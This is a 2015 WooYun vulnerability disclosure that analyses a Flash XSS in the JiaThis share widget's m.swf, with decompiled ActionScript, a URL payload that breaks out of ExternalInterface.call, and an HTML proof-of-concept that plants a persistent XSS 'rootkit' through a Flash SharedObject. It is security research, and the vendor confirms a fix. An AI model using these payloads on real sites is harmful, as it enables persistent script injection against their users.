当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103759

漏洞标题:关于JiaThis Flash XSS分析

相关厂商:JiaThis

漏洞作者: story

提交时间:2015-03-25 22:20

修复时间:2015-05-10 12:18

公开时间:2015-05-10 12:18

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-26: 厂商已经确认,细节仅向厂商公开
2015-04-05: 细节向核心白帽子及相关领域专家公开
2015-04-15: 细节向普通白帽子公开
2015-04-25: 细节向实习白帽子公开
2015-05-10: 细节向公众公开

简要描述:

先声明,这个漏洞很大一部分是360官微里提到又删掉了的,这里以分析为主。
当然也有我自己发现的一个小的他们没提到的问题。

详细说明:

http://www.jiathis.com/code/swf/m.swf 反编译得到如下代码:

package m_fla {
import flash.display.*;
import flash.net.*;
import adobe.utils.*;
import flash.accessibility.*;
import flash.desktop.*;
import flash.errors.*;
import flash.events.*;
import flash.external.*;
import flash.filters.*;
import flash.geom.*;
import flash.media.*;
import flash.printing.*;
import flash.profiler.*;
import flash.sampler.*;
import flash.system.*;
import flash.text.*;
import flash.text.engine.*;
import flash.ui.*;
import flash.utils.*;
import flash.xml.*;
public dynamic class MainTimeline extends MovieClip {
public const appName:String = "mao";
public var mySo:SharedObject;
public function MainTimeline(){
addFrameScript(0, this.frame1);
}
public function writeSharedObject(param1:String, param2:String):void{
this.mySo = SharedObject.getLocal(this.appName);
this.mySo.data[param1] = param2;
this.mySo.flush();
}
function frame1(){
this.main();
stop();
}
public function deleteObjects():void{
this.mySo = SharedObject.getLocal(this.appName);
if (this.mySo != null){
this.mySo.clear();
};
}
public function deleteObject(param1:String):Boolean{
this.mySo = SharedObject.getLocal(this.appName);
if (((!((this.mySo == null))) && (!((this.mySo.data[param1] == null))))){
delete this.mySo.data[param1];
return (true);
};
return (false);
}
public function main(){
var paramObj:* = null;
Security.allowDomain("*");
paramObj = root.loaderInfo.parameters;
try {
if (ExternalInterface.available){
ExternalInterface.addCallback("writeSharedObject", this.writeSharedObject);
ExternalInterface.addCallback("readSharedObject", this.readSharedObject);
ExternalInterface.addCallback("readObjects", this.readObjects);
ExternalInterface.addCallback("deleteObject", this.deleteObject);
ExternalInterface.addCallback("deleteObjects", this.deleteObjects);
ExternalInterface.call("_gnayTrack.ready", paramObj);
};
} catch(e) {
};
}
public function readSharedObject(param1:String):String{
this.mySo = SharedObject.getLocal(this.appName);
return (String(this.mySo.data[param1]));
}
public function readObjects():Object{
this.mySo = SharedObject.getLocal(this.appName);
return (this.mySo.data);
}
}
}//package m_fla


明显里面有两个漏洞。
一、ExternalInterface.call("_gnayTrack.ready", paramObj);
paramObj是root.loaderInfo.parameters,将paramObj作为​ExternalInterface.call方法的第二个参数,第二个参数的话我们可以用\"的方式逃逸出引号范围,执行javascript代码。
有人问了,root.loaderInfo.parameters是个对象,怎么传入​ExternalInterface.call?ExternalInterface.call的​​第二个参数应该是一个字符串,但传入对象也是可以的,实际最后执行的时候应该是类似 _gnayTrack.ready({"a": "xxxxx"})
所以,我们现在不仅要闭合双引号",还要闭合一个大括号}和一个小括号),所以最后的payload比大家以前见到的多了}):

http://www.jiathis.com/code/swf/m.swf?a=\"})))}catch(e){alert(1)}//


QQ20150325-6@2x.png


二、FSO造成XSS Rootkit
回到刚才说的FSO,由于FSO造成的漏洞乌云上也不少了,比如 http://wooyun.org/bugs/wooyun-2014-065197 、 WooYun: 一个flash的0day导致的淘宝网存储xss(可形成永久后门) 等。​
我们看到swf源码中,确实是调用了FSO对象。我们找到对象保存在我们电脑上的文件C:\Users\phithon\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\#SharedObjects\DR6LLMCM\www.jiathis.com\code\swf\m.swf\​mao.sol

QQ20150325-7@2x.png


可以看到保存在FSO的内容实际上就是jid=xxxx,我们在控制台直接调用swf对象获得jid的值也验证了这一点:

QQ20150325-8@2x.png


这就好说了。我们将“脏数据”作为jia的值存入FSO,就能留下一个永久后门。
简单构造一个POC:

<html>
<head>
<meta charset="uft-8">
<title>lookup</title>
</head>
<body onload="return rootkit();">
<p>
hehe
</p>
<!-- JiaThis Button BEGIN -->
<div class="jiathis_style">
<a class="jiathis_button_qzone"></a>
<a class="jiathis_button_tsina"></a>
<a class="jiathis_button_tqq"></a>
<a class="jiathis_button_weixin"></a>
<a class="jiathis_button_renren"></a>
<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
<a class="jiathis_counter_style"></a>
</div>
<script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1427098094896152" charset="utf-8"></script>
<!-- JiaThis Button END -->
<script>
function rootkit(){
var a = document["JIATHISSWF"];
a.writeSharedObject("jid", '\\";(function(){if(location.host!=\'mhz.pw\'){alert(document.domain);}})();//a');
}
</script>
</body>
</html>


我将之保存在 http://mhz.pw/game/jiathis/jiathis.html​,当访问了这个页面以后,再访问使用了jiathis的网站,即可在该站域下触发XSS,形成一个永久的XSS Rootkit:

QQ20150325-9@2x.png


QQ20150325-10@2x.png

漏洞证明:

见上面。

修复方案:

版权声明:转载请注明来源 story@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-03-26 12:16

厂商回复:

已经紧急修复该漏洞,谢谢大家。

最新状态:

暂无